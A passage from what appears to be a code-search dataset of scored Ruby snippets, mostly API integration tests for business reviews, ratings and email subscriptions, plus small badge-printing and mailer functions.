}\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(1, @parsed_response['Reviews'].length, @parsed_response)\n assert_equal(int_xxid.to_i, @parsed_response['Reviews'][0]['Int_Xxid'])\n assert_equal(@user.email, @parsed_response['Reviews'][0]['Email'])\n\n # Step 4\n params = {\n 'promo_id' => @active_promo_id,\n 'include_total_unmoderated_count' => true, # AS-7229\n }\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert(@parsed_response['TotalUnmoderatedCount'] >= 0)\n assert_equal(10, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(@active_promo_id, review['PromoId'],\n \"Expected the review PromoId to match #{@active_promo_id}: #{review}\")\n end\n\n # Step 5\n # Sorting by source\n params = {\n 'include_only_promo_reviews' => true,\n 'author_user_id' => @user.id,\n 's' => 'source:desc'\n }\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(count, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert(review['PromoId'], review)\n assert(sources.include?(review['Source']),\n \"Expected the review Source to match of the specified sources, #{sources}: #{review}\")\n end\n assert_equal('XXMOBILE', @parsed_response['Reviews'].first['Source'])\n assert_equal('CSE', @parsed_response['Reviews'].last['Source'])\n\n # Step 6\n # Non Promo Review check\n params = {\n 'include_only_promo_reviews' => false,\n 'author_user_id' => @user2.id,\n 's' => 'source:asc'\n }\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(count, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(@user2.id, review['AuthorUserId'],\n \"Expected the review AuthorUserId to match #{@user.id}: #{review}\")\n assert(sources.include?(review['Source']),\n \"Expected the review Source to match of the specified sources, #{sources}: #{review}\")\n end\n assert_equal('CSE', @parsed_response['Reviews'].first['Source'])\n assert_equal('XXMOBILE', @parsed_response['Reviews'].last['Source'])\n end",
"title": ""
},
{
"docid": "dde4c1b8402c2b6bffb566c2fbf7cd6f",
"score": "0.5281665",
"text": "def test_retrieve_all_ratings_for_business\n # Setup\n\n queries = ['attorneys','restaurants','plumbers']\n locations = ['new york city, ny','chicago, il','los angeles, ca']\n listings = []\n\n queries.each do |query|\n locations.each do |location|\n get_consumer_search_resp(query, location)\n assert_response(@response, :success)\n refute_empty(@parsed_response['SearchResult']['BusinessListings'])\n @parsed_response['SearchResult']['BusinessListings'].each do |business|\n if business['RatingCount'] >= 10\n get_consumer_business_resp(business['Int_Xxid'])\n assert_response(@response, :success)\n listings << @parsed_response['Business'] if @parsed_response['Business']['Ratings'].length >= 3\n end\n end\n end\n end\n refute_empty(\"Response returned no listing with at least 3 or more reviews: #{queries}, #{locations}\")\n listing = listings.sample\n\n # Step 1\n params = { 'int_xxid' => listing['Int_Xxid'] }\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n ratings_full_list = @parsed_response['Ratings']\n if @parsed_response['Count'] >= 25\n assert_equal(25, ratings_full_list.length, \"Expected the default limit of 25, returned: #{@parsed_response['Count']}\")\n end\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n assert(rating['updated_at'])\n end\n\n # Step 2\n params['s'] = 'updated_at:desc'\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n check_rating = @parsed_response['Ratings'].first\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n assert(rating['updated_at'])\n assert(DateTime.parse(check_rating['updated_at']).to_i >= DateTime.parse(rating['updated_at']).to_i,\n \"Expected sort updated_at:desc -- #{DateTime.parse(check_rating['updated_at']).to_i} >= #{DateTime.parse(rating['updated_at']).to_i}\")\n check_rating = rating\n end\n\n params['s'] = 'updated_at:asc'\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n check_rating = @parsed_response['Ratings'].first\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n assert(rating['updated_at'])\n assert(DateTime.parse(check_rating['updated_at']).to_i <= DateTime.parse(rating['updated_at']).to_i,\n \"Expected sort updated_at:asc -- #{DateTime.parse(check_rating['updated_at']).to_i} <= #{DateTime.parse(rating['updated_at']).to_i}\")\n check_rating = rating\n end\n\n # Step 3\n params = {\n 'int_xxid' => listing['Int_Xxid'],\n 'min_rating' => 4,\n 'body_required' => true\n }\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n assert(rating['value'] >= 4)\n assert(rating['body'])\n end\n\n # Step 4\n limit = (@parsed_response['Count'] - 1)\n params = {\n 'int_xxid' => listing['Int_Xxid'],\n 'h' => limit\n }\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n assert_equal(limit, @parsed_response['Ratings'].length)\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n end\n limited_ratings = @parsed_response['Ratings']\n\n params['o'] = 2\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n assert_equal(limited_ratings[2], @parsed_response['Ratings'][0])\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n end\n\n # Step 5\n rating_dates = []\n ratings_full_list.each do |rating|\n rating_dates << rating['created_at']\n end\n\n val = (rating_dates.length / 4).to_f.ceil\n date = DateTime.parse(rating_dates[val]).to_i\n params = {\n 'int_xxid' => listing['Int_Xxid'],\n 'start_date' => date\n }\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n assert(DateTime.parse(rating['created_at']).to_i >= date,\n \"Expected all dates returned after the start_date specified: #{date} <= #{DateTime.parse(rating['created_at']).to_i}\")\n end\n\n val = (rating_dates.length / 2).to_f.ceil\n date = DateTime.parse(rating_dates[val]).to_i\n params = {\n 'int_xxid' => listing['Int_Xxid'],\n 'end_date' => date\n }\n\n get '/rats/get_all_ratings_for_business', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Ratings'])\n @parsed_response['Ratings'].each do |rating|\n assert(rating['id'])\n assert_equal(listing['Int_Xxid'], rating['int_xxid'].to_s)\n assert(DateTime.parse(rating['created_at']).to_i <= date,\n \"Expected all dates returned prior the end_date specified: #{date} -- #{DateTime.parse(rating['created_at']).to_i}\")\n end\n end",
"title": ""
},
{
"docid": "57044a1df4d0328d394e2a78a76ca032",
"score": "0.52787024",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each { |x| puts x}\n assign_rooms(attendees).each { |x| puts x}\nend",
"title": ""
},
{
"docid": "887fbf403db82ccc011e0203f5bbe3cb",
"score": "0.5270148",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each do |first|\n puts first \n end\n assign_rooms(attendees).each do |second|\n puts second \n end\n end",
"title": ""
},
{
"docid": "ed5b33d1e5a5e465b8b618982b24806a",
"score": "0.52569246",
"text": "def test_email_subscriptions_updates_for_registered_users\n # Setup\n user_params = { 'email_opt_in' => true }\n\n @user1 = setup_user(user_params)\n @user2 = setup_user(user_params)\n\n opts = {\n 'vrid' => @user2.vrid,\n 'app_id' => 'WEB',\n 'ptid' => 'API'\n }\n\n get_consumer_search_resp('restaurants', 'new york, ny', opts)\n assert_response(@response, :success)\n\n refute_empty(@parsed_response['SearchResult']['BusinessListings'], @parsed_response['SearchResult'])\n listing = @parsed_response['SearchResult']['BusinessListings'].sample\n\n assign_http(Config['panda']['host'])\n\n params = {\n 'request_host' => 'http://www.xx.com',\n 'to' => @user1.email,\n 'from' => @user2.email,\n 'from_name' => @user2.first_name,\n 'lid' => listing['ListingId'],\n 'note' => 'Checkout this listing!',\n 'mobile' => false\n }\n\n post '/em/share_listing', params\n assert_response(@response, :success)\n\n assert_match(@parsed_response['MailingID'], @parsed_response['Location'], @parsed_response)\n\n # Step 1\n get_dragon_email_subscriptions(@user1.id)\n assert_response(@response, :success)\n assert_equal(@user1.id, @parsed_response['user_id'], @parsed_response)\n assert_equal(true, @parsed_response['feedback'], @parsed_response)\n assert_equal(true, @parsed_response['newsletters'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_bonus_offers'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_contributed_updates'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_helpful_votes'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_referral_program_updates'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_replies'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_weekly_updates'], @parsed_response)\n\n params = {\n 'user_id' => @user1.id\n }\n\n get '/usr/lookup', params\n assert_response(@response, :success)\n email_subscriptions = @parsed_response['email_subscriptions']\n assert_equal(@user1.id, email_subscriptions['user_id'], email_subscriptions)\n assert_equal(true, email_subscriptions['feedback'], email_subscriptions)\n assert_equal(true, email_subscriptions['newsletters'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_bonus_offers'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_contributed_updates'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_helpful_votes'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_referral_program_updates'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_replies'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_weekly_updates'], email_subscriptions)\n\n # Step 2\n promo = get_promo_with_code('APIACTIVEPROMO')\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user1.oauth_token}\" }\n\n params = {\n 'promo_id' => promo['Id'],\n 'promo_teams' => promo['TeamNames'].sample\n }\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 3\n get_dragon_email_subscriptions(@user1.id)\n assert_response(@response, :success)\n assert_equal(@user1.id, @parsed_response['user_id'], @parsed_response)\n assert_equal(true, @parsed_response['feedback'], @parsed_response)\n assert_equal(true, @parsed_response['newsletters'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_bonus_offers'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_contributed_updates'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_helpful_votes'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_referral_program_updates'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_replies'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_weekly_updates'], @parsed_response)\n\n assign_http(Config['panda']['host'])\n\n params = {\n 'user_id' => @user1.id\n }\n\n get '/usr/lookup', params\n assert_response(@response, :success)\n email_subscriptions = @parsed_response['email_subscriptions']\n assert_equal(@user1.id, email_subscriptions['user_id'], email_subscriptions)\n assert_equal(true, email_subscriptions['feedback'], email_subscriptions)\n assert_equal(true, email_subscriptions['newsletters'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_bonus_offers'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_contributed_updates'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_helpful_votes'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_referral_program_updates'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_replies'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_weekly_updates'], email_subscriptions)\n\n # Step 4\n assign_http(Config['turtle']['host'])\n\n params = {\n 'pref' => {\n 'feedback' => 0,\n 'newsletters' => 0,\n 'yp4s_bonus_offers' => 1,\n 'yp4s_contributed_updates' => 1,\n 'yp4s_helpful_votes' => 0,\n 'yp4s_referral_program_updates' => 1,\n 'yp4s_replies' => 0,\n 'yp4s_weekly_updates' => 1,\n }\n }\n\n post \"/optout/#{@user1.email_token}\", params\n assert_response(@response, :redirect)\n\n get_dragon_email_subscriptions(@user1.id)\n assert_response(@response, :success)\n assert_equal(@user1.id, @parsed_response['user_id'], @parsed_response)\n assert_equal(false, @parsed_response['feedback'], @parsed_response)\n assert_equal(false, @parsed_response['newsletters'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_bonus_offers'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_contributed_updates'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_helpful_votes'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_referral_program_updates'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_replies'], @parsed_response)\n assert_equal(true, @parsed_response['yp4s_weekly_updates'], @parsed_response)\n\n assign_http(Config['panda']['host'])\n\n params = {\n 'user_id' => @user1.id\n }\n\n get '/usr/lookup', params\n assert_response(@response, :success)\n email_subscriptions = @parsed_response['email_subscriptions']\n assert_equal(@user1.id, email_subscriptions['user_id'], email_subscriptions)\n assert_equal(false, email_subscriptions['feedback'], email_subscriptions)\n assert_equal(false, email_subscriptions['newsletters'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_bonus_offers'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_contributed_updates'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_helpful_votes'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_referral_program_updates'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_replies'], email_subscriptions)\n assert_equal(true, email_subscriptions['yp4s_weekly_updates'], email_subscriptions)\n\n # Step 5\n assign_http(Config['turtle']['host'])\n\n params = {\n 'pref' => {\n 'unsubscribe_all' => 1\n }\n }\n\n post \"/optout/#{@user1.email_token}\", params\n assert_response(@response, :redirect)\n\n get_dragon_email_subscriptions(@user1.id)\n assert_response(@response, :success)\n assert_equal(@user1.id, @parsed_response['user_id'], @parsed_response)\n assert_equal(false, @parsed_response['feedback'], @parsed_response)\n assert_equal(false, @parsed_response['newsletters'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_bonus_offers'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_contributed_updates'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_helpful_votes'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_referral_program_updates'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_replies'], @parsed_response)\n assert_equal(false, @parsed_response['yp4s_weekly_updates'], @parsed_response)\n\n assign_http(Config['panda']['host'])\n\n params = {\n 'user_id' => @user1.id\n }\n\n get '/usr/lookup', params\n assert_response(@response, :success)\n email_subscriptions = @parsed_response['email_subscriptions']\n assert_equal(@user1.id, email_subscriptions['user_id'], email_subscriptions)\n assert_equal(false, email_subscriptions['feedback'], email_subscriptions)\n assert_equal(false, email_subscriptions['newsletters'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_bonus_offers'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_contributed_updates'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_helpful_votes'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_referral_program_updates'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_replies'], email_subscriptions)\n assert_equal(false, email_subscriptions['yp4s_weekly_updates'], email_subscriptions)\n end",
"title": ""
},
{
"docid": "f082f12de4ccfb1c40f8427072f181ce",
"score": "0.52492374",
"text": "def test_end_messages\r\n fakeRand = Minitest::Mock.new (\"fake prng\")\r\n def fakeRand.rand(range); 0; end\r\n map = Map.new\r\n pros = Prospector.new(fakeRand, map)\r\n assert_output(\"After 5 days, Prospector #1 returned to Pitt with:\\n\\t0 ounces of gold\\n\\t0 ounces of silver\\n\\tHeading home with $0.00\") {pros.end_messages(1, 0.00, 5, 0, 0)}\r\n end",
"title": ""
},
{
"docid": "903bdd07eb997b422096f446c0dec5a1",
"score": "0.524325",
"text": "def printer(attendees)\n attendees.each do |attendee|\n puts badge_maker(attendee)\n end\n assign_rooms(attendees)\n room_assignments.each do |room|\n puts room\n end\nend",
"title": ""
},
{
"docid": "7df9c9ccc3388c10f460dde55f96d9e5",
"score": "0.52412605",
"text": "def printer(speakers)\n batch_badge_creator(speakers).each do |badge|\n puts badge\n end\n assign_rooms(speakers).each do |assignments|\n puts assignments\n end\nend",
"title": ""
},
{
"docid": "feffc060c9c539af8c03fd646d398ac8",
"score": "0.52380973",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each do |id|\n puts id\nend\nassign_rooms(attendees).each do |id|\n puts id\nend\nend",
"title": ""
},
{
"docid": "16a605ba32162c776e65ecdc9af5472f",
"score": "0.5234198",
"text": "def testadd_assessment_learner_notification_send_grid(user,assessment,learner,admin,tenant)\n begin\n url = user.crypted_password.nil? ? \"https://#{tenant.custom_url}.#{SITE_URL}/activate/#{user.activation_code}\" : \"https://#{tenant.custom_url}.#{SITE_URL}\"\n from_replacements = Hash[\"[tenant_name]\" => tenant.organization,\n \"[sender_name]\" => admin.login,\n \"[sender_email]\" => admin.email\n ]\n\n subject_replacements = Hash[\"[tenant_name]\" => tenant.organization,\n \"[url]\" => url,\n \"[sender_name]\" => admin.login,\n \"[sender_email]\" => admin.email,\n \"[learner_name]\" => user.login,\n \"[learner_email]\" => user.email,\n\n \"[assessment_name]\" => assessment.name,\n \"[assessment_description]\" => assessment.description,\n\n \"[assessment_start_schedule]\" => assessment.start_time,\n \"[assessment_end_schedule]\" => assessment.end_time,\n \"[assessment_duration_hour]\" => assessment.duration_hour,\n \"[assessment_duration_min]\" => assessment.duration_min,\n\n \"[learner_lesson_status]\" => learner.lesson_status,\n \"[learner_lesson_raw_score]\" => learner.score_raw,\n \"[learner_lesson_max_score]\" => learner.score_max,\n \"[learner_lesson_credit]\" => learner.credit\n ]\n body_replacements = Hash[\"[tenant_name]\" => tenant.organization,\n \"[url]\" => url,\n \"[sender_name]\" => admin.login,\n \"[sender_email]\" => admin.email,\n \"[learner_name]\" => user.login,\n \"[learner_email]\" => user.email,\n\n \"[assessment_name]\" => assessment.name,\n \"[assessment_description]\" => assessment.description,\n\n \"[assessment_start_schedule]\" => assessment.start_time,\n \"[assessment_end_schedule]\" => assessment.end_time,\n \"[assessment_duration_hour]\" => assessment.duration_hour,\n \"[assessment_duration_min]\" => assessment.duration_min,\n\n \"[learner_lesson_status]\" => learner.lesson_status,\n \"[learner_lesson_raw_score]\" => learner.score_raw,\n \"[learner_lesson_max_score]\" => learner.score_max,\n \"[learner_lesson_credit]\" => learner.credit\n ]\n UserMailer.delay.send_mail(user,'testadd_assessment_learner_notification',tenant.id,from_replacements,subject_replacements,body_replacements)\n return \"success\"\n #catch if any errors or exceptions and return that exception\n rescue Net::SMTPFatalError => exception\n return exception\n rescue Net::SMTPSyntaxError => exception\n return exception\n end\n end",
"title": ""
},
{
"docid": "e20c91130d9e740bdf02e45aaa4bee01",
"score": "0.52318907",
"text": "def printer (attendees)\n batch_badge_creator(attendees).each {|string| puts string}\n assign_rooms(attendees).each {|string| puts string}\nend",
"title": ""
},
{
"docid": "c6f7d69b509767703d54957440a7c798",
"score": "0.5231553",
"text": "def controller_matchers\n [\n {:exp => /replies#public/, :team_id => 2},\n {:exp => /PackageVariationCloneJob/, :team_id => 2},\n {:exp => /R2RenderJob/, :team_id => 2},\n {:exp => /RedeliveryJob/, :team_id => 3},\n {:exp => /EventTemplateJob/, :team_id => 3},\n {:exp => /EventAddToCartJob/, :team_id => 4},\n {:exp => /api\\/pricing#by_cards/, :team_id => 2},\n {:exp => /MediaFileConversionJob/, :team_id => 2},\n {:exp => /MediaFileUploadJob/, :team_id => 2},\n {:exp => /api\\/postboxes/, :team_id => 3},\n {:exp => /api\\/contacts/, :team_id => 3},\n {:exp => /RendererCompleteJob/, :team_id => 2},\n {:exp => /ElasticsearchIndexJob/, :team_id => 1},\n {:exp => /api\\/contact_groups#add_contacts/, :team_id => 3},\n {:exp => /ImageComparisonJob/, :team_id => 2},\n {:exp => /OrderEmailJob/, :team_id => 4},\n {:exp => /dashboard#index/, :team_id => 3},\n {:exp => /api\\/google_api_signatures#create/, :team_id => 2},\n {:exp => /api\\/photos#create/, :team_id => 2},\n {:exp => /api\\/accounts#show/, :team_id => 3},\n {:exp => /EventAggregatorJob/, :team_id => 3},\n {:exp => /api\\/events#update/, :team_id => 2},\n {:exp => /admin\\/new_papers/, :team_id => 2},\n {:exp => /guests/, :team_id => 3},\n {:exp => /api\\/guests/, :team_id => 3},\n {:exp => /SendEventJob/, :team_id => 3},\n {:exp => /api\\/private_messages/, :team_id => 3},\n {:exp => /api\\/notifications/, :team_id => 3},\n {:exp => /SubmitPrintOrderJob/, :team_id => 4},\n {:exp => /email_addresses/, :team_id => 3},\n {:exp => /ClassifyEventJob/, :team_id => 2},\n {:exp => /api\\/events#create/, :team_id => 2},\n {:exp => /api\\/v1\\/events\\/\\d+-\\d+/, :team_id => 2},\n {:exp => /SimpleEmailJob/, :team_id => 3},\n {:exp => /partials#cart_modal/, :team_id => 4},\n {:exp => /GuestSchedulerJob/, :team_id => 3},\n {:exp => /papers#index/, :team_id => 2},\n {:exp => /NodeRendererJob/, :team_id => 2},\n {:exp => /SendGuestJob/, :team_id => 3},\n {:exp => /accounts#send_reset_link/, :team_id => 3},\n {:exp => /accounts#create/, :team_id => 3},\n {:exp => /about#show/, :team_id => 1},\n {:exp => /events\\/status#show/, :team_id => 3},\n {:exp => /replies#public/, :team_id => 3},\n {:exp => /lib\\/paperless\\/spam\\/event_presenter.rb:103/, :team_id => 2},\n {:exp => /events\\/tracking#show/, :team_id => 3},\n {:exp => /EdgeCastPurgeJob/, :team_id => 1},\n {:exp => /hiring#apply/, :team_id => 1},\n {:exp => /EventCloneJob/, :team_id => 2},\n {:exp => /admin\\/accounts#unmerge/, :team_id => 1},\n {:exp => /accounts#connect/, :team_id => 1},\n {:exp => /home#show/, :team_id => 1}\n ]\n end",
"title": ""
},
{
"docid": "5dd6c13b2611ea248232803084e0dbae",
"score": "0.52314913",
"text": "def test_ut_cbtt11a_t5_008\n warning = Warning.find(3425)\n # create comment for warning\n new_comment = Comment.new\n new_comment.warning_description = \"warning samdsfdf\"\n new_comment.status = 1\n new_comment.risk_type_id = 4\n new_comment.warning_id = 3425\n new_comment.sample_source_code = \"sample source code\"\n new_comment.save\n # create result id\n warning_result = WarningsResult.new\n warning_result.warning_id = warning.id\n warning_result.result_id = 123\n warning_result.rule_level = Warning.find(warning).rule_level\n warning_result.save\n # create issue\n warning.create_issues\n corresponding_issue = WarningIssue.find_by_warning_id(warning.id)\n new_issue = RedmineIssue.find(corresponding_issue.redmine_issue_id)\n assert_equal(new_issue.status_id, 1)\n assert_equal(new_issue.id, corresponding_issue.redmine_issue_id)\n end",
"title": ""
},
{
"docid": "329fbe415d9cde1f188261f949358ffe",
"score": "0.52304035",
"text": "def main_test_harness\n test__dnd_backstabber_attack\n test__bag_of_lost_coins_leads_to_lottery_ticket\n test__dice_battle__naruto_vs_sasuke\n\n puts \"\\n----- Extra Testing -----\\n\\n\"\n test__bag_cloning\n test__rc_randomizers_cloning\n test__random_select_and_add_items_from_player1_to_player2\nend",
"title": ""
},
{
"docid": "4e6139eb769b74a27cfdd339daed52a5",
"score": "0.522764",
"text": "def test_scenario3\n data = [[File.dirname(__FILE__)+'/data/tiny_kdd.csv', {\"000020\" => 255.0, \"000004\" => 183.0, \"000016\" => 4.0, \"000024\" => 0.04, \"000025\" => 0.01, \"000026\" => 0.0, \"000019\" => 0.25, \"000017\" => 4.0, \"000018\" => 0.25, \"00001e\" => 0.0, \"000005\" => 8654.0, \"000009\" => \"0\", \"000023\" => 0.01, \"00001f\" => 123.0}, 0.69802]]\n puts\n puts \"Scenario: Successfully comparing scores from anomaly detectors\"\n\n data.each do |filename, data_input, score|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create a dataset\"\n [email protected]_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"And I create an anomaly detector\"\n anomaly = @api.create_anomaly(dataset)\n\n puts \"And I wait until the anomaly detector is ready\"\n assert_equal(BigML::HTTP_CREATED, anomaly[\"code\"])\n assert_equal(1, anomaly[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(anomaly), true)\n\n puts \"And I create a local anomaly detector\"\n anomaly_local = BigML::Anomaly.new(anomaly, @api)\n\n puts \"When I create an anomaly score for <%s>\" % JSON.generate(data_input)\n anomaly_score = @api.create_anomaly_score(anomaly, data_input)\n assert_equal(BigML::HTTP_CREATED, anomaly_score[\"code\"]) \n\n puts \"Then the anomaly score is <score>\" % score\n assert_equal(score.round(5), anomaly_score[\"object\"][\"score\"].round(5))\n\n puts \"And I create a local anomaly score for <%s>\" % JSON.generate(data_input)\n local_anomaly_score = anomaly_local.anomaly_score(data_input)\n\n puts \"Then the local anomaly score is <score>\" % score\n assert_equal(score.round(5), local_anomaly_score.round(5))\n end\n end",
"title": ""
},
{
"docid": "bff1653700699766d0b9f546f7372e47",
"score": "0.5224254",
"text": "def test_post_results_and_hold\n\n #\n # THE PRE-ARTWORK REVIEW\n #\n expected_results = {\n '7' => \"No Response\", '8' => \"No Response\", '5' => \"No Response\",\n '15' => \"No Response\", '10' => \"No Response\", '11' => \"No Response\",\n '14' => \"No Response\", '16' => \"No Response\", '13' => \"No Response\",\n '17' => \"No Response\", '18' => \"No Response\", '9' => \"No Response\",\n '6' => \"No Response\", '12' => \"No Response\"\n }\n\n mail_subject = 'Catalyst/AC/(pcb252_234_a0_g): Pre-Artwork '\n reviewer_result_list= [\n # Espo - CE-DFT Reviewer\n {:user_id => @espo.id,\n :role_id => @ce_dft.id,\n :comment => 'espo comment while in-review',\n :result => 'APPROVED',\n :ignore => false,\n :review_result_id => design_review_results(:mx234a_pre_artwork_ce_dft).id,\n :role_id_tag => 'role_id_7',\n :review_status => @in_review,\n :expected_results => {\n :comments_count => 5,\n :review_status_id => @in_review.id,\n :mail_subject => mail_subject + ' CE-DFT - APPROVED - See comments',\n :notice => \"Design Review updated with comments and the review result - mail was sent\"\n }\n },\n # Heng Kit Too - DFM Reviewer\n {:user_id => @heng_k.id,\n :role_id => @dfm.id,\n :comment => 'HKT comment while on-hold',\n :result => 'WAIVED',\n :ignore => false,\n :review_result_id => design_review_results(:mx234a_pre_artwork_dfm).id,\n :role_id_tag => ':role_id_8',\n :review_status => @on_hold,\n :expected_results => {\n :comments_count => 6,\n :review_status_id => @on_hold.id,\n :mail_subject => mail_subject + '- Comments added',\n :notice => \"Design Review status is 'Review On-Hold': comments were recorded and review results were discarded - mail was sent\"\n }\n },\n # Heng Kit Too - DFM Reviewer\n {:user_id => @heng_k.id,\n :role_id => @dfm.id,\n :comment => 'HKT comment while pending repost',\n :result => 'WAIVED',\n :ignore => false,\n :review_result_id => design_review_results(:mx234a_pre_artwork_dfm).id,\n :role_id_tag => ':role_id_8',\n :review_status => @pending_repost,\n :expected_results => {\n :comments_count => 7,\n :review_status_id => @pending_repost.id,\n :mail_subject => mail_subject + '- Comments added',\n :notice => \"Design Review status is 'Pending Repost': comments were recorded and review results were discarded - mail was sent\"\n }\n }\n ]\n\n mx234a = design_reviews(:mx234a_pre_artwork)\n\n mx234a.design_review_results.each do |rr|\n rr.result = 'No Response'\n rr.save\n end\n \n mx234a_review_results = mx234a.design_review_results\n\n assert_equal(14, mx234a_review_results.size)\n assert_equal(4, mx234a.design_review_comments.size)\n mx234a_review_results.each { |rr| assert_equal(\"No Response\", rr.result) }\n\n reviewer_result_list.each do |reviewer_result|\n\n if reviewer_result[:review_status] == @on_hold\n mx234a.place_on_hold\n elsif reviewer_result[:review_status] == @pending_repost\n mx234a.review_status_id = @pending_repost.id\n mx234a.save\n else\n mx234a.remove_from_hold(@in_review)\n expected_results[reviewer_result[:role_id].to_s] = reviewer_result[:result]\n end\n mx234a.reload\n\n rev = User.find(reviewer_result[:user_id]).name\n reviewer_session = set_session(reviewer_result[:user_id], Role.find(reviewer_result[:role_id]).name)\n\n post(:reviewer_results,\n { :post_comment => { \"comment\" => reviewer_result[:comment] },\n reviewer_result[:role_id_tag] => { reviewer_result[:review_result_id] => reviewer_result[:result] },\n :design_review => { \"id\" => mx234a.id } },\n reviewer_session)\n assert_redirected_to(:action => :post_results)\n\n #follow_redirect\n # \"follow_redirect\" is part of integration testing and should not be in\n # used in a functional test\n if false #comment out section\n\n #assert_equal(reviewer_result[:expected_results][:notice], flash['notice'])\n\n assert_equal(1, @emails.size)\n email = @emails.pop\n assert_equal(0, @emails.size)\n assert_equal(reviewer_result[:expected_results][:mail_subject],\n email.subject)\n \n design_review_comments = DesignReviewComment.find_all_by_design_review_id(mx234a.id)\n assert_equal(reviewer_result[:expected_results][:comments_count], \n design_review_comments.size)\n if reviewer_result[:comment] != 